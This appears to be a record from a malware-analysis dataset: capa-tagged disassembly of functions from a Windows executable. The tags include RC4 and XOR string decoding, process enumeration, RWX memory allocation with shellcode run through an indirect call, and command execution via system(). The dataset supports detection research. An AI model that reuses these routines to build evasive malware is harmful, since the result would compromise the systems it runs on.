joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140013180
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push r15
sub rsp, 0x20
mov rbx, qword [0x140287810]
xor esi, esi
mov r15, rcx
mov dword [rbx + 0x2d9c], esi
test rcx, rcx
je 0x1400132aa
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rdi
lea rdi, [rbx + 0x2da0]
mov dword [rbx + 0x2d9c], esi
mov r8d, dword [rdi + 4]
test r8d, r8d
jns 0x1400131e2
mov eax, r8d
mov rcx, rdi
cdq
sub eax, edx
mov edx, esi
sar eax, 1
add eax, r8d
test eax, eax
cmovg edx, eax
call fcn.1400141f0
mov r8d, dword [rdi + 4]
mov dword [rdi], esi
mov eax, esi
test r8d, r8d
jne 0x1400131f9
lea edx, [r8 + 8]
mov rcx, rdi
call fcn.1400141f0
mov eax, dword [rdi]
movsxd rcx, eax
mov ebp, esi
mov rax, qword [rdi + 8]
mov byte [rcx + rax], sil
inc dword [rdi]
cmp dword [rbx + 0x2db0], esi
jle 0x14001324a
mov qword [rsp + 0x50], r14
mov r14, rsi
nop dword [rax + rax]
mov r9, qword [rbx + 0x2db8]
mov r8, rdi
add r9, r14
mov rcx, rbx
mov rdx, r9
call qword [r9 + reloc.WLDAP32.dll_Ordinal_32]
inc ebp
add r14, 0x30
cmp ebp, dword [rbx + 0x2db0]
jl 0x140013220
mov r14, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x40]
cmp qword [rdi + 8], rsi
je 0x140013259
mov esi, dword [rdi]
dec esi
mov rax, qword [rbx + 0x2da8]
lea rdi, [0x140287808]
test rax, rax
movsxd rsi, esi
lea rdx, [0x1400a4c24]
mov rcx, r15
cmovne rdi, rax
call fcn.140003040
mov rbx, rax
test rax, rax
je 0x1400132a5
mov r9, rax
mov r8, rsi
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rsi
pop rbx
ret
Function at 0x14001aed0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r11, rsp
push rbp
push r13
push r14
sub rsp, 0xb0
xor eax, eax
movsxd r13, r9d
mov dword [rsp + 0xe8], eax
mov r14, rdx
mov qword [rsp + 0x60], r13
mov rbp, rcx
test r9d, r9d
jle 0x14001b11e
mov qword [r11 + 8], rbx
lea rbx, [r8 + 0x20]
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 - 0x20], r12
xor r12d, r12d
mov qword [r11 - 0x28], r15
movaps xmmword [r11 - 0x38], xmm6
movaps xmmword [r11 - 0x48], xmm7
xorps xmm7, xmm7
movaps xmmword [r11 - 0x58], xmm8
mov r11d, 0x100
movss xmm8, dword [0x1400aa720]
nop dword [rax + rax]
movss xmm6, dword [rbx - 0x20]
comiss xmm6, xmm7
jbe 0x14001af8c
movsxd r10, dword [r14 + 0x24]
mov r9, qword [r14 + 8]
movsx ecx, r11w
movzx eax, byte [r10 + r9 + 7]
movzx edx, byte [r10 + r9 + 6]
imul edx, ecx
movsx ecx, r11w
add dx, ax
movzx eax, byte [r10 + r9 + 5]
movsx r8d, dx
movzx edx, byte [r10 + r9 + 4]
imul edx, ecx
add ax, dx
cwde
sub eax, r8d
movd xmm0, eax
jmp 0x14001afab
movsxd rdx, dword [r14 + 0x1c]
xorps xmm6, xmm8
mov rax, qword [r14 + 8]
movzx ecx, byte [rdx + rax + 0x12]
movzx eax, byte [rdx + rax + 0x13]
shl ecx, 8
add ecx, eax
movd xmm0, ecx
movzx eax, byte [rbp + 0x20]
xor edi, edi
cvtdq2ps xmm0, xmm0
mov byte [rbx], al
movzx eax, byte [rbp + 0x24]
mov byte [rbx + 1], al
divss xmm6, xmm0
cmp dword [rbx - 0x10], edi
jle 0x14001b0c6
mov r15, qword [rsp + 0xf0]
mov rax, r12
mov r13d, dword [rsp + 0xe8]
add r15, 6
shl rax, 4
xor esi, esi
add r15, rax
nop word [rax + rax]
mov rax, qword [rbx - 0x18]
test rax, rax
jne 0x14001b000
mov edx, dword [rbx - 0x1c]
add edx, edi
jmp 0x14001b003
mov edx, dword [rax + rsi]
mov eax, dword [rbp + 0x24]
xorps xmm3, xmm3
xorps xmm2, xmm2
mov rcx, r14
cvtsi2ss xmm3, rax
mov eax, dword [rbp + 0x20]
cvtsi2ss xmm2, rax
mulss xmm3, xmm6
mulss xmm2, xmm6
call fcn.140015fa0
mov edx, eax
mov rcx, r14
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
movss dword [rsp + 0x28], xmm7
movss dword [rsp + 0x20], xmm7
call fcn.140018890
movzx eax, word [rbp + 0x20]
inc r13d
sub ax, word [rsp + 0x50]
inc r12
dec ax
inc edi
add ax, word [rbp + 0x1c]
add rsi, 4
add ax, word [rsp + 0x54]
mov word [r15 - 2], ax
movzx eax, word [rbp + 0x24]
sub ax, word [rsp + 0x58]
dec ax
add ax, word [rbp + 0x1c]
add ax, word [rsp + 0x5c]
mov word [r15], ax
add r15, 0x10
cmp edi, dword [rbx - 0x10]
jl 0x14001aff0
mov dword [rsp + 0xe8], r13d
mov r11d, 0x100
mov r13, qword [rsp + 0x60]
add rbx, 0x28
sub r13, 1
mov qword [rsp + 0x60], r13
jne 0x14001af40
mov eax, dword [rsp + 0xe8]
movaps xmm8, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x90]
mov r15, qword [rsp + 0xa0]
mov r12, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0xe0]
mov rsi, qword [rsp + 0xd8]
mov rbx, qword [rsp + 0xd0]
add rsp, 0xb0
pop r14
pop r13
pop rbp
ret
Function at 0x14003adf0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x1400b9060]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edi, edi
mov rbp, rcx
xor edx, edx
mov ebx, edi
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14003ae92
nop word [rax + rax]
mov rdx, rbp
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
jne 0x14003ae80
mov eax, dword [rsp + 0x3c]
cmp eax, ebx
jle 0x14003ae80
mov edi, dword [rsp + 0x28]
mov ebx, eax
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14003ae60
mov eax, edi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400956c0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14003b280
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rdi
sub rsp, 0x50
mov rax, qword [0x1400b9060]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor eax, eax
mov dword [rsp + 0x2c], edx
mov edx, 0x1000
mov dword [rsp + 0x28], ecx
xor ecx, ecx
mov dword [rsp + 0x20], eax
mov r8d, edx
mov dword [rsp + 0x30], eax
lea r9d, [rax + 0x40]
mov qword [rsp + 0x34], 1
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x14003b2df
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400956c0
add rsp, 0x50
pop rdi
ret
movups xmm0, xmmword [0x140287ae8]
mov r8d, Ordinal_45
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x20]
movups xmmword [rax], xmm0
movsd xmm1, qword [0x140287af8]
lea ecx, [r8 - 0x27]
movsd qword [rax + 0x10], xmm1
mov eax, dword [0x140287b00]
mov dword [rdi + 0x18], eax
movzx eax, word [0x140287b04]
mov word [rdi + 0x1c], ax
call rdi
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
mov ebx, eax
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test ebx, ebx
mov rbx, qword [rsp + 0x70]
setg al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400956c0
add rsp, 0x50
pop rdi
ret

Function at 0x14003b360
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x13c0
call fcn.140096300
sub rsp, rax
mov rax, qword [0x1400b9060]
xor rax, rsp
mov qword [rsp + 0x13b0], rax
mov edi, edx
mov ebx, ecx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x13a4], 0xffffffff
mov r8d, 1
mov dword [rsp + 0x24], eax
nop
mov r9d, eax
shr r9d, 0x1e
xor r9d, eax
imul eax, r9d, 0x6c078965
add eax, r8d
mov dword [rsp + r8*4 + 0x24], eax
inc r8
cmp r8, 0x270
jb 0x14003b3b0
lea eax, [rbx - 0x80000000]
mov dword [rsp + 0x20], 0x270
mov ebp, 0x80000000
cmp ebx, ebp
lea esi, [rbx + rbp]
cmovae esi, eax
lea ebx, [rdi + rbp]
cmp edi, ebp
lea eax, [rdi - 0x80000000]
cmovae ebx, eax
sub ebx, esi
cmp ebx, 0xffffffff
jne 0x14003b413
lea rcx, [rsp + 0x20]
call fcn.14004a310
mov edx, eax
jmp 0x14003b451
lea edi, [rbx + 1]
xor r8d, r8d
xor eax, eax
test ebx, ebx
je 0x14003b431
lea rcx, [rsp + 0x20]
call fcn.14004a310
mov r8d, eax
mov eax, 0xffffffff
xor edx, edx
div edi
mov ecx, eax
mov r9d, edx
xor edx, edx
mov eax, r8d
div edi
cmp eax, ecx
jb 0x14003b44a
cmp r9d, ebx
jne 0x14003b416
xor edx, edx
mov eax, r8d
div edi
add edx, esi
cmp edx, ebp
lea ecx, [rdx - 0x80000000]
lea eax, [rdx + rbp]
cmovae eax, ecx
mov rcx, qword [rsp + 0x13b0]
xor rcx, rsp
call fcn.1400956c0
lea r11, [rsp + 0x13c0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14003b490
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1340]
mov eax, 0x1440
call fcn.140096300
sub rsp, rax
mov rax, qword [0x1400b9060]
xor rax, rsp
mov qword [rbp + 0x1330], rax
mov r15d, edx
mov rbx, rcx
mov qword [rsp + 0x70], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
movdqa xmm0, xmmword [0x1400aa780]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400aa740]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x1400aa730]
movdqa xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x8183818f
mov dword [rsp + 0x64], 0xcccccccc
mov dword [rsp + 0x68], 0x34343434
mov dword [rsp + 0x6c], 0x1003c3c
mov eax, edi
nop word [rax + rax]
lea ecx, [rax - 0x38]
xor byte [rsp + rax + 0x30], cl
inc rax
cmp rax, 0x3e
jb 0x14003b530
mov byte [rsp + 0x6f], dil
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x78], dil
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x14003b567
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x78]
call fcn.140046270
nop
mov qword [rbx], rdi
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov edi, 1
mov dword [rsp + 0x20], edi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov ecx, eax
mov dword [rbp + 0x1324], 0xffffffff
mov dword [rbp - 0x5c], eax
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edi
mov dword [rbp + rdi*4 - 0x5c], ecx
inc rdi
cmp rdi, 0x270
jb 0x14003b5b0
mov dword [rbp - 0x60], 0x270
mov r14, qword [rbp - 0x70]
mov rsi, qword [rsp + 0x78]
test r15d, r15d
jle 0x14003b684
mov rdi, r15
nop dword [rax + rax]
lea rcx, [rbp - 0x60]
call fcn.14004a310
mov r8d, eax
mov eax, 0x8421085
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 4
cmp eax, 0x8421084
jae 0x14003b5f0
mov eax, 0x8421085
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 4
imul eax, eax, 0x1f
sub r8d, eax
lea rcx, [rsp + 0x78]
cmp r14, 0x10
cmovae rcx, rsi
movsxd rax, r8d
movzx r9d, byte [rax + rcx]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x14003b672
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x14003b667
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14003b67a
mov rcx, rbx
call fcn.1400494e0
sub rdi, 1
jne 0x14003b5f0
cmp r14, 0x10
jb 0x14003b6be
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14003b6b6
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003b6b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140095c68
mov rax, rbx
mov rcx, qword [rbp + 0x1330]
xor rcx, rsp
call fcn.1400956c0
lea r11, [rsp + 0x1440]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14003cd90
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xc], 0
je 0x14003cdb3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xb
jb 0x14003cda0
mov byte [rcx + 0xc], 0
mov rax, rcx
ret

Function at 0x14003ce90
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1400b9060]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov rsi, r8
mov dword [rsp + 0x28], 0x80
mov rdi, rdx
mov dword [rsp + 0x40], 0
xor r8d, r8d
mov dword [rsp + 0x20], 2
lea edx, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov rcx, rax
mov r8d, esi
mov rdx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400956c0
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x14003cf20
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x15], 0
je 0x14003cf43
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x14
jb 0x14003cf30
mov byte [rcx + 0x15], 0
mov rax, rcx
ret
Function at 0x14003e380
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x18], 0
je 0x14003e3a3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x17
jb 0x14003e390
mov byte [rcx + 0x18], 0
mov rax, rcx
ret

Function at 0x14003e3b0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x14003e3d3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x14003e3c0
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x14003e3e0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x4a], 0
je 0x14003e403
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x49
jb 0x14003e3f0
mov byte [rcx + 0x4a], 0
mov rax, rcx
ret

Function at 0x14003e410
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x6f], 0
je 0x14003e433
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x6e
jb 0x14003e420
mov byte [rcx + 0x6f], 0
mov rax, rcx
ret
Function at 0x14003ff80
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x40], 0
je 0x14003ffa3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x3f
jb 0x14003ff90
mov byte [rcx + 0x40], 0
mov rax, rcx
ret

Function at 0x14003ffb0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x5d], 0
je 0x14003ffd3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x5c
jb 0x14003ffc0
mov byte [rcx + 0x5d], 0
mov rax, rcx
ret

Function at 0x14003ffe0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x58], 0
je 0x140040003
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x57
jb 0x14003fff0
mov byte [rcx + 0x58], 0
mov rax, rcx
ret

Function at 0x140040010
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xaf], 0
je 0x140040038
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xae
jb 0x140040020
mov byte [rcx + 0xaf], 0
mov rax, rcx
ret

Function at 0x140040040
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x76], 0
je 0x140040063
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x75
jb 0x140040050
mov byte [rcx + 0x76], 0
mov rax, rcx
ret

Function at 0x140040070
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x60], 0
je 0x140040093
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x5f
jb 0x140040080
mov byte [rcx + 0x60], 0
mov rax, rcx
ret

Function at 0x140040130
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x61], 0
je 0x140040153
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x60
jb 0x140040140
mov byte [rcx + 0x61], 0
mov rax, rcx
ret

Function at 0x140040250
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x3b], 0
je 0x140040273
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x3a
jb 0x140040260
mov byte [rcx + 0x3b], 0
mov rax, rcx
ret
Function at 0x140040370
Capabilities:
Encode data using xor
Execute command
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1400b9060]
xor rax, rsp
mov qword [rbp - 8], rax
call fcn.14004fae0
lea rcx, [rbp - 0x30]
call fcn.1400518f0
movdqa xmm0, xmmword [0x1400aa8d0]
movdqu xmmword [rbp - 0x58], xmm0
movdqa xmm1, xmmword [0x1400aa760]
movdqu xmmword [rbp - 0x48], xmm1
mov dword [rbp - 0x38], 0xa0beac
mov byte [rbp - 0x34], 1
xor ebx, ebx
mov ecx, ebx
nop word [rax + rax]
lea eax, [rcx - 0x38]
xor byte [rbp + rcx - 0x58], al
inc rcx
cmp rcx, 0x23
jb 0x1400403d0
mov byte [rbp - 0x34], bl
lea rcx, [rbp - 0x58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp - 0x60], WSAGetLastError
mov r8b, 0x5d
mov al, 0x59
xor ecx, ecx
xor r8b, 0x6c
mov byte [rbp - 0x5f], r8b
xor al, 0x6c
mov byte [rbp - 0x5e], al
mov byte [rbp - 0x5d], cl
lea r9, [rbp - 0x5f]
call fcn.140037d70
mov r11, rax
cmp r8b, 0x30
jl 0x14004044c
nop word [rax + rax]
cmp r8b, 0x39
jg 0x14004044c
mov ecx, 0xa
call fcn.140037d70
imul eax, r11d
movsx r11d, r8b
add r11d, 0xffffffd0
add r11d, eax
inc r9
movzx r8d, byte [r9]
cmp r8b, 0x30
jge 0x140040420
mov byte [rbp - 0x60], listen
mov r8b, reloc.WS2_32.dll_gethostname
xor eax, eax
xor r8b, 0xc
mov byte [rbp - 0x5f], r8b
mov byte [rbp - 0x5e], al
lea r9, [rbp - 0x5f]
xor ecx, ecx
call fcn.140037d70
mov r10, rax
cmp r8b, 0x30
jl 0x1400404a0
cmp r8b, 0x39
jg 0x1400404a0
mov ecx, 0xa
call fcn.140037d70
imul eax, r10d
movsx r10d, r8b
add r10d, 0xffffffd0
add r10d, eax
inc r9
movzx r8d, byte [r9]
cmp r8b, 0x30
jge 0x140040474
mov edx, r11d
mov ecx, r10d
call fcn.14003b360
mov edx, eax
lea rcx, [rbp - 0x28]
call fcn.14003b490
nop
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov dword [rbp - 0x60], 0x100b1b0
nop dword [rax]
nop word [rax + rax]
lea eax, [rbx - 0x38]
xor byte [rbp + rbx - 0x60], al
inc rbx
cmp rbx, 2
jb 0x1400404e0
mov byte [rbp - 0x5d], 0
lea rcx, [rbp - 0x60]
call fcn.14003e440
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14004053c
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040537
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140040537
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140095c68
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400956c0
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rbp
ret
Function at 0x140043c00
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x68], 0
je 0x140043c23
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x67
jb 0x140043c10
mov byte [rcx + 0x68], 0
ret

Function at 0x140043c30
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xa2], 0
je 0x140043c58
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xa1
jb 0x140043c40
mov byte [rcx + 0xa2], 0
ret

Function at 0x140043c60
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xd], 0
je 0x140043c83
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xc
jb 0x140043c70
mov byte [rcx + 0xd], 0
ret

Function at 0x140043c90
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x3d], 0
je 0x140043cb3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x3c
jb 0x140043ca0
mov byte [rcx + 0x3d], 0
ret

Function at 0x140043cc0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x28], 0
je 0x140043ce3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x27
jb 0x140043cd0
mov byte [rcx + 0x28], 0
ret

Function at 0x140043cf0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x22], 0
je 0x140043d13
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x21
jb 0x140043d00
mov byte [rcx + 0x22], 0
ret

Function at 0x140043d20
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x43], 0
je 0x140043d43
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x42
jb 0x140043d30
mov byte [rcx + 0x43], 0
ret

Function at 0x140043d50
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x2c], 0
je 0x140043d73
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x2b
jb 0x140043d60
mov byte [rcx + 0x2c], 0
ret

Function at 0x140043d80
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x2e], 0
je 0x140043da3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x2d
jb 0x140043d90
mov byte [rcx + 0x2e], 0
ret

Function at 0x140043db0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x46], 0
je 0x140043dd3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x45
jb 0x140043dc0
mov byte [rcx + 0x46], 0
ret

Function at 0x140043de0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x34], 0
je 0x140043e03
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x33
jb 0x140043df0
mov byte [rcx + 0x34], 0
ret

Function at 0x140043e10
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x2b], 0
je 0x140043e33
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x38]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x2a
jb 0x140043e20
mov byte [rcx + 0x2b], 0
ret